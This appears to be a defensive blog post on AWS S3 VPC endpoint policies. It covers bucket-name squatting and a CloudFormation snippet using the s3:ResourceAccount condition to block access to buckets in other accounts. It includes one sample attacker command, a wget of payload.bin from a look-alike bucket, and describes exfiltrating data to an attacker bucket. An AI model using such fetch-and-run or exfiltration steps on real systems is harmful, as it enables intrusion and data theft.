AWS Virtual Private Cloud is a wonder of the modern cloud age. While most of the magic is encapsulation, it also has a deep permissions policy that is highly effective in large deployments.
From a security perspective, accessing your S3 private stores by egressing your VPC over the Internet seemed like a control needing to be improved, and this landed with S3 Endpoints (now Gateway Endpoints) in 2015. These Gateway Endpoints rely upon integration into the VPC Routing table, where as the newer Interface Endpoints have network interfaces (ENIs) in designated VPCs. Oh, and Interface Endpoints are charged for (at this time), while the Gateway Endpoints are (again, at this time), complementary.
Having an S3 Endpoint meant that your buckets, as a Resource, could now have a policy applied to them to limit their access to only traffic originating from the given Endpoint(s) or VPC(s). This helps limits the steal of credentials.
But another consideration existing, which endpoints also supported: a filter on the Endpoint itself, limiting the actions and buckets that resources within the VPC were allowed to access from the S3 service.
However the policy language would limit any permit deny role on an S3 Bucket name, and as we know, Buckets can have any name so long as no one else already has that name. Indeed, there is a race here to create names for buckets that other people may want, and Bucket Squatting (on those names) is a thing.
S3 bucket names couldn’t be reserved or namespaced (outside of the existing ARN), and while a policy that denies access to any bucket not called “mycompany-*” could be deployed on the Endpoint, that doesn’t stop an attacker also calling their bucket “mycompany-notreally”.
Why Filter Access to S3
There’s two major reasons why an attacker would want to get access from your resources to S3:
- Data ingestion to your network of malware, compilers, large scripts or other tools
- Data ex-filtration to their own resource
Lets consider an Instance that has been taken over. Some RAT or execution is happening on your compute at their behest. And perhaps the attacker is aware of some level of VPC S3 Endpoint policy that may be in place.
The ability to put in large complicated scripts, malware and payloads may be limited form the command and control channel, whereas a cal to
wget s3://mycompany-notreally/payload.bin may actually succeed in transferring that very large payload to your instance, which it then runs.
And of course in the reverse way, when they want to steal your data, then upload to s3 to a bucket in their control, from which they can later exfil out of S3 separately.
Policies for S3 ARNs
The initial thought is to use an ARN that would filter on something like
arn:aws:s3:12345678901::mybucket-*, but alas, Account IDs are not valid in ARNs for S3 ARNs! Today, AWS announced a new condition key that takes care of this, called
s3:ResourceAccount. It achieves a similar thing.
Thus, in a CloudFormation template snippet, you can now put:
S3Endpoint: Type: 'AWS::EC2::VPCEndpoint' Properties: PolicyDocument: Version: "2012-10-17" Statement: - Action: s3:* Effect: Deny Resource: '*' Principal: '*' Condition: StringNotEquals: s3:ResourceAccount: !Ref 'AWS::AccountId' RouteTableIds: - !Ref RouteTablePublic - !Ref RouteTableNATGatewayA - !Ref RouteTableNATGatewayB - !Ref RouteTableNATGatewayC - !Ref RouteTablePrivate ServiceName: !Join - . - - com.amazonaws - !Ref 'AWS::Region' - s3 VpcId: !Ref VPC